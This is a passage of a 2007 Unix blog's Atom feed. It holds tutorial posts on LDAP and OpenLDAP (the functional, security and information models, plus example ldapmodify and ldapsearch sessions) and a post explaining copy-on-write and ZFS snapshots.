/&gt;The referral is a special entry of the object class "referral." Like the alias, the referral has a distinguished name to locate it in the directory. The referral has one required attribute: the "ref" attribute. The ref attribute is an LDAP URL pointing to the location where the real entry can be found. &lt;br /&gt;&lt;br /&gt;Function model&lt;br /&gt;The functional model describes the operations that can be performed on the directory.&lt;br /&gt;&lt;br /&gt;At this point, it is useful to remember that LDAP is a protocol that mediates the messages sent between client and server. The client sends a message to the server requesting a certain action against the directory. The server then executes this action on behalf the client, sending a message back to the client containing the result code and the eventual results sets. &lt;br /&gt;&lt;br /&gt;There are three groups of functions, plus one special group of the "extended operations." This group is new in version 3 of LDAP and has been defined in RFC 2251. The "extended operations" allow adding further functionality published in the form of RFCs or in private implementations. For example, the "StartTLS" (Transport Layer Security protocol) operation, not foreseen in RFC 2251, is an operation defined with an extended operation. &lt;br /&gt;&lt;br /&gt;The three groups of functions are:&lt;br /&gt;1. Interrogation operations: search, compare&lt;br /&gt;2. Update operations: add, delete, modify DN, modify&lt;br /&gt;3. Authentication and control operations : bind, unbind, abandon&lt;br /&gt;&lt;br /&gt;All of these operations are requests made by an LDAP client to an LDAP server. The server executes the requested operation and sends back to the client the result plus an error code.&lt;br /&gt;&lt;br /&gt;The most complicated operation is the search operation. It can have up to eight parameters: base, scope, derefAliases, sizeLimit, timeLimit, attrOnly, searchFilter, and attributeList:&lt;br /&gt;1. Base: DN where the query should start&lt;br /&gt;2. Scope: Extension of the query inside the directory information tree. The scope can have three different values:&lt;br /&gt;  a. baseObject: Limits the search to the base object only.&lt;br /&gt;  b. singleLevel: Limits the search to the base objects and the immediate children.&lt;br /&gt;  c. wholeSubtree: Extends the search to the entire subtree from the base object.&lt;br /&gt;3. derefAliases: Indicates how alias dereferencing should be handled. &lt;br /&gt;4. sizeLimit: Maximum number of entries a query will return. A number of "zero" means that there is no size limit. &lt;br /&gt;5. timeLimit: Maximum number of seconds a query can take. A number of "zero" means that the client does not impose any time limit.&lt;br /&gt;6. attrOnly: A Boolean value. Set to "true," it indicates that only attribute types are returned; set to "false," it returns attribute types and attribute values.&lt;br /&gt;7. searchFilter: Defines the conditions under which a search return is successful. The conditions can be combined with the Boolean "and," "or," and "not" operators.&lt;br /&gt;8. attributeList: Attributes that should be returned if the searchFilter matches. Two values have a special meaning: an empty list with no attributes and an asterisk, "*". Both values instruct the server to return all attributes of the matching entries. The asterisk allows you to specify further operational attributes to be returned.&lt;br /&gt;&lt;br /&gt;The "compare" operation tests for the presence of a particular attribute in an entry with a given distinguished name. It returns "true" if the entry contains the attribute and "false" if the entry does not contain the attribute. Now look at the parameters for the "compare" operations:&lt;br /&gt;1. entry: Distinguished name of the entry you are searching for&lt;br /&gt;2. ava: Attribute name-value pair you want to verify is contained in the entry ("ava" means "attribute value assertion")&lt;br /&gt;&lt;br /&gt;The "add" operation is a relative easy one, as it contains only two parameters: entry and attributeList&lt;br /&gt;1. entry: Distinguished name of the new entry&lt;br /&gt;2. attributeList: A list of name-value pairs of the attributes contained in the entry&lt;br /&gt;Update Operations: Delete&lt;br /&gt;&lt;br /&gt;The "delete" operation is still easier than the "add" operation inasmuch as it takes one parameter only, the distinguished name of the entry to be deleted.&lt;br /&gt;entry: Distinguished name of the entry to be deleted&lt;br /&gt;&lt;br /&gt;The "modify" operation is more complicated than the previous two. It takes three parameters: distinguished name, type of operation, and name-value pairs:&lt;br /&gt;1. entry: Distinguished name of the entry to be modified&lt;br /&gt;2. operation: Type of operation to be executed on this entry, with three possible values:&lt;br /&gt;   add: Adds a new attribute (name,value pair)&lt;br /&gt;   delete: Deletes an attribute&lt;br /&gt;   modify: Modifies an attribute&lt;br /&gt;3. attributeList: Produces a list of name-value pairs to be added/modified&lt;br /&gt;&lt;br /&gt;The main purpose of the "bind" operation is to let the client authenticate itself against the directory server. The "bind" operation takes three parameters, version, name, and authentication:&lt;br /&gt;1. version: Version of LDAP the client wishes to use&lt;br /&gt;2. name: Name of the directory object the client wishes to bind to&lt;br /&gt;3. authentication: Authentication choice, which has two possible values:&lt;br /&gt;   simple: Indicates that the password travels in clear text over the wire.&lt;br /&gt;   sasl: Uses the SASL mechanism as described in RFC 2222, "Simple Authentication and Security Layer".&lt;br /&gt;&lt;br /&gt;The operation "unbind" is very simple and does not take any parameters. The "unbind" operation does not return any value from the server. The client assumes that the connection to the server is now closed. The server releases any resources allocated for the client, discards any authentication information, and closes the TCP/IP connection with the client.&lt;br /&gt;&lt;br /&gt;Another simple operation, "abandon" takes only one parameter. The "abandon" operation is used to inform the server to stop a previously requested operation. The abandon operation typically is used by GUIs in the case of long-running operations on the server to inform the server that the client is no longer interested in the result of the operation. The operation takes only one parameter: the operationID.&lt;br /&gt;operationID: ID of the operation to be abandoned&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Security model&lt;br /&gt;Security model shows how to secure the data in the directory. There are two major arguments in place: authentication and authorization, also called "access control" in LDAP.&lt;br /&gt;&lt;br /&gt;Before a client can access data on an LDAP server, two processes must take place first: authorization and authentication. These two processes are quite different from each other.&lt;br /&gt;&lt;br /&gt;Authentication takes place when the client identifies itself for the server as it tries to connect. The process depends very much on the authentication mechanism used. The easiest way is to connect to the server without the need to provide an identity. To such an anonymous connection, if allowed at all, the server grants the lowest access rights. There are authentication schemes ranging from simple authentication with user and password to authentication using certificates. These certificates give the assurance to the server that the client really is who it says it is. Certificates can also assure the client about the server's identity.&lt;br /&gt;&lt;br /&gt;Once the client has been recognized by the server, the client will have certain access rights to the data. Authorization is the process by which the server grants the correct access rights to the previously authenticated client. This means that the user can read and write data with restrictions that depend on the level of access granted. To define what each client can do, the server must maintain an access control information (ACI) file.&lt;br /&gt;&lt;br /&gt;The first type of authentication is "no authentication at all," also called "anonymous bind" because the server has no idea of who actually is asking for a connection. Anonymous bind is used to access publicly available data.&lt;br /&gt;&lt;br /&gt;After anonymous access, the simplest authentication is the basic authentication, which is also used in other protocols like HTTP. The client simply sends the user credentials across the wire. In the case of LDAP, this means the user's distinguished name and the userPassword. Both of them are sent over the network in plain view without encryption. This method may be okay in a trusted environment, but even in an intranet environment, sending around unencrypted passwords is not a good idea.&lt;br /&gt;&lt;br /&gt;The goal of the TLS protocol is to provide both data integrity and privacy. This means that the TLS protocol guarantees that data sent between two partners arrives unmodified and that the conversation is encrypted, i.e., that a person sitting between client and server can not intercept the conversation. TLS requires a reliable protocol and is based upon TCP. TLS itself comprises two different protocols, the TLS Record protocol and the TLS Handshake protocol. The function of the TLS Record Protocol is only the encapsulation of the higher protocol, the TLS Handshake protocol. The TLS Handshake protocol instead provides the security mechanisms. It allows server and client to authenticate each other and negotiate encryption protocol and cryptographic keys. The TLS Handshake protocol supports the public key mechanism.&lt;br /&gt;&lt;br /&gt;LDAP (v2) supports a bind mechanism based on Kerberos, but it is not directly supported in LDAP (v3). By "not directly supported," we mean that it can be used as a security mechanism upon an agreement established using the SASL protocol.&lt;br /&gt;&lt;br /&gt;The simple authentication and security layer (SASL) is a method of providing authentication services to a connection-oriented protocol such as LADP. The SASL standard is defined in RFC 2222, "Simple Authentication and Security Layer." This standard makes it possible for a client and server to agree upon a security layer for encryption. Once the server and client are connected, they agree upon a security mechanism for the ongoing conversation. One of these mechanisms is Kerberos. At the time of this writing, a number of mechanisms are supported by SASL, including: anonymous, CRAM-MD5, Digest-MD5, External, Kerberos, SecurID, Secure Remote Password, S/Key, X.509.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-5352002352853232410?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/5352002352853232410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=5352002352853232410' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5352002352853232410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5352002352853232410'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-iii.html' title='LDAP and OpenLDAP (Part III)'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-3456165546425015116</id><published>2007-03-19T17:46:00.000+08:00</published><updated>2007-04-06T16:46:55.439+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LDAP'/><title type='text'>LDAP and OpenLDAP (Part II)</title><content type='html'>If you just only want to know &lt;a href="http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-i.html"&gt;how to use a directory server,&lt;/a&gt; you may not to know the models of LDAP. But there do exist four models of LDAP. They're information model, name model, function model and security model, and they help us to learn what makes a LDAP server and how LDAP works.&lt;br /&gt;&lt;br /&gt;Information model&lt;br /&gt;The basic unit of information is the entry. We have seen that the object class defines how an entry should look. Entries are made up of attributes, and just as entries are defined by object classes, so attributes are defined by the "attribute types". Everything is held together by the schema of the directory.&lt;br /&gt;&lt;br /&gt;The excerpt of the directory can be broken down into small data structures which are called "entry" or "object". "Organization" and "organization unit" etc. are all objects.&lt;br /&gt;&lt;br /&gt;Note the example listed in last article that each entry have several lines, each line corresponding to one attribute. In other words, entry is a collection of attributes, with each attribute having one or more values.&lt;br /&gt;&lt;br /&gt;LDAP has rules to specify how information is to be saved. The collection of these rules is called schema which are kept in the configuration files. In version 3 of LDAP, client can explore the schema that the server is using. The schema in LDAP software are likely but having some important difference comparing with those in RDBMS:&lt;br /&gt;&lt;br /&gt;1. LDAP software are shipped with a number of schemas. The user selects schema and begins filling in data. While in RDBMS, the first user has to define the schema.&lt;br /&gt;&lt;br /&gt;2. The LDAP schema is simpler and does not know anything about complicate structure such as "join", nor are there any triggers.&lt;br /&gt;&lt;br /&gt;The schema contains:&lt;br /&gt;1. object-class definitions describing the different types of entries in the directory.&lt;br /&gt;2. Attribute-type definitions describing the different attributes of the objects.&lt;br /&gt;3. Syntax definitions to describe how the attribute values are to be compared during queries&lt;br /&gt;&lt;br /&gt;If you write an application using a object-oriented language such as C++ or  Java, the first thing you do is define classes. Then you can define objects to implement the previously defined classes. The same will happen in using LDAP. Every directory is configured to recognize a number of classes called  "object class". The objects in the directory are implementations of these classes. Following is the example of object class definition stored in schema files:&lt;br /&gt;&lt;br /&gt;Objectclass top:&lt;br /&gt;(2.5.6.0&lt;br /&gt; NAME 'top'&lt;br /&gt; ABSTRACT&lt;br /&gt; MUST (&lt;br /&gt; objectClass&lt;br /&gt; )&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;Objectclass organization:&lt;br /&gt;(2.5.6.4&lt;br /&gt; NAME 'organization'&lt;br /&gt; SUP top&lt;br /&gt; STRUCTURAL&lt;br /&gt; MUST (&lt;br /&gt;  o&lt;br /&gt; MAY (&lt;br /&gt;  userPassword&lt;br /&gt;  searchGuide&lt;br /&gt;  seeAlso&lt;br /&gt;  businessCategory&lt;br /&gt;  x121Address&lt;br /&gt;  registeredAddress&lt;br /&gt;  destinationIndicator&lt;br /&gt;  preferredDeliveryMethod&lt;br /&gt;  telexNumber&lt;br /&gt;  teletexTerminalIdentifier&lt;br /&gt;  telephoneNumber&lt;br /&gt;  internationaliSDNNumber&lt;br /&gt;  facsimileTelephoneNumber&lt;br /&gt;  street&lt;br /&gt;  postOfficeBox&lt;br /&gt;  postalCode&lt;br /&gt;  postalAddress&lt;br /&gt;  physicalDeliveryOfficeName&lt;br /&gt;  st&lt;br /&gt;  1&lt;br /&gt;  description&lt;br /&gt;  )&lt;br /&gt; )&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;In this example class top and organization are defined. Class organization are inherited from class top using "SUP top". The inheritance is similar to that in object-oriented languages.&lt;br /&gt;&lt;br /&gt;The "MUST" section in this definition contains those attribute which must have some value while defining objects. The value of he attributes in "MAY" section is optional while defining objects. What type of value of these attribute should have is defined in BNF(Backus Naur form), i.e., the attribute such as "userPassword" or "searchGuide" is predefined in the schema file and the valid value type of them is also defined. For example the attribute "c"(stand for country) is predefined in core.schema file as:&lt;br /&gt;&lt;br /&gt;attributetype ( 2.5.4.6 NAME ( 'c' 'countryName' )&lt;br /&gt;        DESC 'RFC2256: ISO-3166 country 2-letter code'&lt;br /&gt;        SUP name SINGLE-VALUE ) &lt;br /&gt;&lt;br /&gt;The object class "top" is one of the most simplest object class. And all other classes derived from the class "top". The only purpose for class "top" is to ensure that every object contains the "objectClass" attribute, since it is the only required attribute in the class "top". It exists only to be inherited, as indicated as "ABSTRACT". An object is not intended to be instantiated is called "abstract object class". That means you'll never find an entry for class "top" in the directory.&lt;br /&gt;&lt;br /&gt;objectclass ( 2.5.6.6 NAME 'person'&lt;br /&gt;        DESC 'RFC2256: a person'&lt;br /&gt;        SUP top STRUCTURAL&lt;br /&gt;        MUST ( sn $ cn )&lt;br /&gt;        MAY ( userPassword $ telephoneNumber $ seeAlso $ description ) )&lt;br /&gt;&lt;br /&gt;Example listed above is the definition of class "person". 2.5.6.6 is the object id(oid) of the class. It inherit attribute "objectClass" from class "top". Object for this class should have the values of attibute "sn" and "cn". Other attribute of the object for class "person" is optional.&lt;br /&gt;&lt;br /&gt;As mentioned previously, there are three types of object classes:&lt;br /&gt;1. Abstract&lt;br /&gt;2. Structure&lt;br /&gt;3. Auxiliary&lt;br /&gt;&lt;br /&gt;Abstract class is the class of class. Structure class can be implemented as object to be stored in directory. &lt;br /&gt;&lt;br /&gt;We could just be happy with these two object types, so what is the third one for? This is for situations when you need a new object class extending from an existing one. Unfortunately, new data such as this does not fit very well in the object structure. To get around this problem, you can define all the data the new object needs to hold together in an auxiliary class. An object of type "auxiliary" can be attached anywhere in the directory information tree.&lt;br /&gt;&lt;br /&gt;The concept of OID is another important concept imported into LDAP from the X.500 standard. Object identifiers (OIDs) are not only used for object classes, but also for attribute types. The OID standard is not limited only to object classes and attribute types. It can be used to identify uniquely any type of object. &lt;br /&gt; &lt;br /&gt;An OID is syntactically a string of numbers divided by dots, such as the OID 2.5.6.6 for the object class "person" (see Exhibit 6) or 2.16.840.1.113730.3.2.2 for the object class "inetOrgPerson". The namespace of all OIDs implements an OID tree. A subtree in the OID tree is called an "arc". This concept greatly simplifies the administration of the OID tree.&lt;br /&gt;&lt;br /&gt;You can get your own OID subtree from IANA (Internet Assigned Numbers Authority). Their Web site (http://www.iana.org) provides further information. The particular syntax makes it possible to understand where a certain object comes from. All you have to do is trace the route from the object to the root of the tree to understand the object's origin. For example, all attributes and objects defined by the IETF begin with 2.5.4, e.g., 2.5.4.0 for the attribute "object-Class."&lt;br /&gt;&lt;br /&gt;You will need an OID subtree whenever you need to extend the directory schema. You can, of course, invent your own OIDs. However, you will run into trouble if you have to exchange information with systems that have reserved this OID for another purpose. So if you extend your schema, it is wise to ask for an OID and to construct your own hierarchy based on this OID. Remember to keep a list for what OID is used for which object to avoid name collisions.&lt;br /&gt;&lt;br /&gt;In case of queries, you need to make comparisons in order to find from all entries the one you are interested in. Comparisons are not only necessary in query operations, but also in "delete," "update," and "add" operations.&lt;br /&gt;&lt;br /&gt;You should also tell your directory server how to make comparisons between atribute values. You do this in the form of so-called "matching rules."&lt;br /&gt;&lt;br /&gt;As an example, look at the telephone number attribute mentioned above. The two versions of the same telephone number should be considered equal by the server and therefore the matching rule should specify the following:&lt;br /&gt;1. ignore extra white spaces&lt;br /&gt;2. ignore hyphens ("-")&lt;br /&gt;3. ignore opening and closing parenthesis&lt;br /&gt;&lt;br /&gt;The matching rules are defined by standard and everyone has a name and an OID. The rule describing the matching of telephone nubmers for example is called "telephoneNumberMatch" and has the OID 2.5.13.20&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-3456165546425015116?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/3456165546425015116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=3456165546425015116' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/3456165546425015116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/3456165546425015116'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-ii.html' title='LDAP and OpenLDAP (Part II)'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-2702329354866864604</id><published>2007-03-18T22:38:00.000+08:00</published><updated>2007-04-06T16:47:16.796+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LDAP'/><title type='text'>LDAP and OpenLDAP (Part I)</title><content type='html'>LDAP is a nothing more than a communication protocol between client which request to get some information and the server which store or know the place to store the information, so LDAP is only a communication rule but not a product you can buy.&lt;br /&gt;&lt;br /&gt;OpenLDAP is an open product implemented according to LDAP.&lt;br /&gt;&lt;br /&gt;Experience has shown that the best way to understand a new tool is simply to use or play around with it. That is what we will do in this article.&lt;br /&gt;&lt;br /&gt;Before you can enter any objects into a directory, you must first define what kind of objects the directory will accept. This is much like the design of an object-oriented database. For example, if we want to describe an company abc.com as an object, we consider the abc.com is an instance of object class "organization". &lt;br /&gt;&lt;br /&gt;Object class is some structure that is already standardized defined in OpenLDAP schemas, and most of them is derived from the original X.500 protocol. Schema is just like the header files of C language, which show the data structure used in C libraries. So we don't have to invent these object class all by ourselves just like we don't have to invent the printf functions when we program using C language. &lt;br /&gt;&lt;br /&gt;When a company can be described as an object, the department of a large company also can be described as an object of object class "organization unit", and person in this company as object class "person".&lt;br /&gt;&lt;br /&gt;Directory is made up of a number of entries, each entry is corresponding to an object in the real world. The object always belongs to an object class which is characterized by a number of "attributes". For example, a company has a name, phone number, and so on. The attributes are made up of an attribute name and one or more attribute values. The attribute names, like the class names, are standard, most of them being inherited from X.500 protocol.&lt;br /&gt;&lt;br /&gt;An object(entry) must have "distinguished name" to identify itself, so the  "dn" must be unique. How to give distinguished name to object will be explained in detail in following sections.&lt;br /&gt;&lt;br /&gt;The directory is build up like a tree, and the tree is always called as DIT(Directory Information Tree). We will take the company abc.com as an example. When we began to store the information of abc.com, we consider the abc.com as a tree with the root entry which have the attribute "o"(stand for organization) and the attribute value "abc.com". So the root entry have the distinguished name o=abc.com.&lt;br /&gt;&lt;br /&gt;The departments of abc.com is subtree of the DIT of the entire enterprise, and which have the attribute ou(stand for organization unit) and the value of department name. For example the marketing department have the distinguished name "ou=marketing, o=abc.com". Likewise we give the distinguish name to the IT department as "ou=IT, o=abc.com".&lt;br /&gt;&lt;br /&gt;After the dn given the object may be add to the DIT using client tools which released with the OpenLdap software distribution like:&lt;br /&gt;#ldapmodify -a -D "uid=admin, o=abc.com" -w password&lt;br /&gt;dn: o=abc.com&lt;br /&gt;object class: top&lt;br /&gt;object class: organization&lt;br /&gt;o: abc.com&lt;br /&gt;l: ShangHai&lt;br /&gt;&lt;br /&gt;adding new entry "o=abc.com"&lt;br /&gt;&lt;br /&gt;The parameter following -D is the administrator account name of the ldap server running on the machine, and the -w speak out the password of this administrator account. Both the account and the password are stored in the configuration file which can be modified using vi before starting the server.&lt;br /&gt;&lt;br /&gt;The first line of the actual data begins with:&lt;br /&gt;dn: o=abc.com&lt;br /&gt;which is the distinguished name of this entry. The distinguished name is just a key to access this particular entry. It must be unique across the whole directory.&lt;br /&gt;&lt;br /&gt;The following lines:&lt;br /&gt;object class: top&lt;br /&gt;object class: organization&lt;br /&gt;&lt;br /&gt;Means the o=abc.com is an object of the object class "organization", and "organization" is a subclass of "top". Both "organization" and "top" are declared in the configuration files.&lt;br /&gt;&lt;br /&gt;o: abc.com&lt;br /&gt;l: ShangHai&lt;br /&gt;The object o=abc.com has two other properties(attributes): "o"(organization) and "l"(location), both of them defined in the schema. Reading the configuration files, we'll note some properties are required, and others are optional.&lt;br /&gt;&lt;br /&gt;the last line:&lt;br /&gt;adding new entry "o=abc.com"&lt;br /&gt;is the output of the command which means that the command has been executed successfully. Otherwise, you will get an error message.&lt;br /&gt;&lt;br /&gt;After the root entry(o=abc.com) was added, the department can be added as subtrees. For example:&lt;br /&gt;# ldapmodify -a -D "cn=admin, o=abc.com" -w password&lt;br /&gt;dn: ou=HR, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: HR&lt;br /&gt;description: Human Resources&lt;br /&gt;&lt;br /&gt;adding new entry "ou=HR, o=abc.com"&lt;br /&gt;&lt;br /&gt;dn: ou=R&amp;D, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: R&amp;D&lt;br /&gt;description: Research and Development&lt;br /&gt;&lt;br /&gt;adding new entry "ou=R&amp;D, o=abc.com"&lt;br /&gt;&lt;br /&gt;dn: ou=Mkt, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: Mkt&lt;br /&gt;description: Marketing&lt;br /&gt;&lt;br /&gt;adding new entry "ou=Mkt, o=abc.com" &lt;br /&gt;&lt;br /&gt;After all these entries added to the DIT, we can retrieve the information from the ldap sever using command ldapsearch:&lt;br /&gt;&lt;br /&gt;#ldapsearch -b "o=abc.com" "(objectclass=*)"&lt;br /&gt;# extended LDIF&lt;br /&gt;#&lt;br /&gt;# LDAPv3&lt;br /&gt;# filter: (objectclass=*)&lt;br /&gt;# requesting: ALL&lt;br /&gt;#&lt;br /&gt;# abc.com&lt;br /&gt;&lt;br /&gt;dn: o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organization&lt;br /&gt;o: abc.com&lt;br /&gt;l: ShangHai&lt;br /&gt;&lt;br /&gt;# HR, abc.com&lt;br /&gt;dn: ou=HR, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: HR&lt;br /&gt;description: Human Resources&lt;br /&gt;&lt;br /&gt;# R&amp;D, abc.com&lt;br /&gt;dn: ou=R&amp;D, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: R&amp;D&lt;br /&gt;description: Research and Development&lt;br /&gt;&lt;br /&gt;# Mkt, abc.com&lt;br /&gt;dn: ou=Mkt, o=abc.com&lt;br /&gt;objectclass: top&lt;br /&gt;objectclass: organizationalUnit&lt;br /&gt;ou: Mkt&lt;br /&gt;description: Marketing&lt;br /&gt;&lt;br /&gt;# search result&lt;br /&gt;search: 2&lt;br /&gt;result: 0 Success&lt;br /&gt;&lt;br /&gt;# numResponses: 5&lt;br /&gt;# numEntries: 4&lt;br /&gt;&lt;br /&gt;When the DIT is created, root entry and subtrees entries are added into it. We'll find that if we want put personal information of hundreds of employees in abc.com is a difficult thing, for we must input these message entry by entry without mistake. Fortunately, the ldapmodify command also accepts a file as input:&lt;br /&gt;#cat persons.ldif&lt;br /&gt;dn: uid=ZhaoJia, ou=Mkt, o=abc.com&lt;br /&gt;objectClass: top&lt;br /&gt;objectClass: person&lt;br /&gt;objectClass: organizationalPerson&lt;br /&gt;objectClass: inetOrgPerson&lt;br /&gt;cn: Zhao&lt;br /&gt;sn: Jia&lt;br /&gt;givenName: Thomas&lt;br /&gt;ou: Mkt&lt;br /&gt;uid: ZhaoJia&lt;br /&gt;mail: zhaojia@abc.com&lt;br /&gt;&lt;br /&gt;dn: uid=QianYi, ou=Mkt, o=abc.com&lt;br /&gt;objectClass: top&lt;br /&gt;objectClass: person&lt;br /&gt;objectClass: organizationalPerson&lt;br /&gt;objectClass: inetOrgPerson&lt;br /&gt;cn: Qian&lt;br /&gt;sn: Yi&lt;br /&gt;givenName: Peter&lt;br /&gt;ou: Mkt&lt;br /&gt;uid: QianYi&lt;br /&gt;mail: QianYi@abc.com&lt;br /&gt;&lt;br /&gt;#ldapmodify -a -D "uid=admin, o=abc.com" -w "password" -f persons.ldif&lt;br /&gt;adding new entry "uid=ZhaoJia, ou=Mkt, o=abc.com"&lt;br /&gt;adding new entry "uid=QianYi, ou=Mkt, o=abc.com"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-2702329354866864604?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/2702329354866864604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=2702329354866864604' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2702329354866864604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/2702329354866864604'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/03/ldap-and-openldap-part-i.html' title='LDAP and OpenLDAP (Part I)'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-51940865160824945</id><published>2007-03-17T16:15:00.000+08:00</published><updated>2007-04-06T17:23:07.509+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ZFS'/><title type='text'>COW and ZFS relate features</title><content type='html'>Copy-on-write (sometimes referred to as "COW") is an optimization strategy used in computer programming. The fundamental idea is that if multiple callers ask for resources which are initially indistinguishable, you can give them pointers to the same resource. This fiction can be maintained until a caller tries to modify its "copy" of the resource, at which point a true private copy is created to prevent the changes becoming visible to everyone else. All of this happens transparently to the callers. The primary advantage is that if a caller never makes any modifications, no private copy need ever be created.&lt;br /&gt;&lt;br /&gt;Copy-on-write finds its main use in virtual memory operating systems; when a process creates a copy of itself, the pages in memory that might be modified by either the process or its copy are marked copy-on-write. When one process modifies the memory, the operating system's kernel intercepts the operation and copies the memory so that changes in one process's memory are not visible to the other.&lt;br /&gt;&lt;br /&gt;Another use is in the calloc function. This can be implemented by having a page of physical memory filled with zeroes. When the memory is allocated, the pages returned all refer to the page of zeroes and are all marked as copy-on-write. This way, the amount of physical memory allocated for the process does not increase until data is written. This is typically only done for larger allocations.&lt;br /&gt;&lt;br /&gt;Copy-on-write can be implemented by telling the MMU that certain pages in the process's address space are read-only. When data is written to these pages, the MMU raises an exception which is handled by the kernel, which allocates new space in physical memory and makes the page being written to correspond to that new location in physical memory.&lt;br /&gt;&lt;br /&gt;One major advantage of COW is the ability to use memory sparsely. Because the usage of physical memory only increases as data is stored in it, very efficient hash tables can be implemented which only use little more physical memory than is necessary to store the objects they contain. However, such programs run the risk of running out of virtual address space -- virtual pages unused by the hash table cannot be used by other parts of the program. The main problem with COW at the kernel level is the complexity it adds, but the concerns are similar to those raised by more basic virtual memory concerns such as swapping pages to disk; when the kernel writes to pages, it must copy them if they are marked copy-on-write.&lt;br /&gt;&lt;br /&gt;COW is also used outside the kernel, in library, application and system code. The string class provided by [[C++]]'s Standard Template Library, for example, was specifically designed to allow copy-on-write implementations. One hazard of COW in these contexts arises in multithreaded code, where the additional locking required for objects in different threads to safely share the same representation can easily outweigh the benefits of the approach.&lt;br /&gt;&lt;br /&gt;The COW concept is also used in virtualization/emulation software such as Bochs, QEMU, and UML for virtual disk storage. This allows a great reduction in required disk space when multiple VMs can be based on the same hard disk image, as well as increased performance as disk reads can be cached in RAM and subsequent reads served to other VMs out of the cache.&lt;br /&gt;&lt;br /&gt;ZFS uses a copy-on-write, transactional object model. All block pointers within the filesystem contain a 256-bit checksum of the target block which is verified when the block is read. Blocks containing active data are never overwritten in place; instead, a new block is allocated, modified data is written to it, and then any metadata blocks referencing it are similarly read, reallocated, and written. To reduce the overhead of this process, multiple updates are grouped into transaction groups, and an intent log is used when synchronous write semantics are required.&lt;br /&gt;&lt;br /&gt;The ZFS copy-on-write model has another powerful advantage: when ZFS writes new data, instead of releasing the blocks containing the old data, it can instead retain them, creating a snapshot version of the file system. ZFS snapshots are created very quickly, since all the data comprising the snapshot is already stored; they are also space efficient, since any unchanged data is shared among the file system and its snapshots.&lt;br /&gt;&lt;br /&gt;Writable snapshots ("clones") can also be created, resulting in two independent file systems that share a set of blocks. As changes are made to any of the clone file systems, new data blocks are created to reflect those changes, but any unchanged blocks continue to be shared, no matter how many clones exist.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-51940865160824945?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/51940865160824945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=51940865160824945' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/51940865160824945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/51940865160824945'/><link rel='alternate' type='text/html' 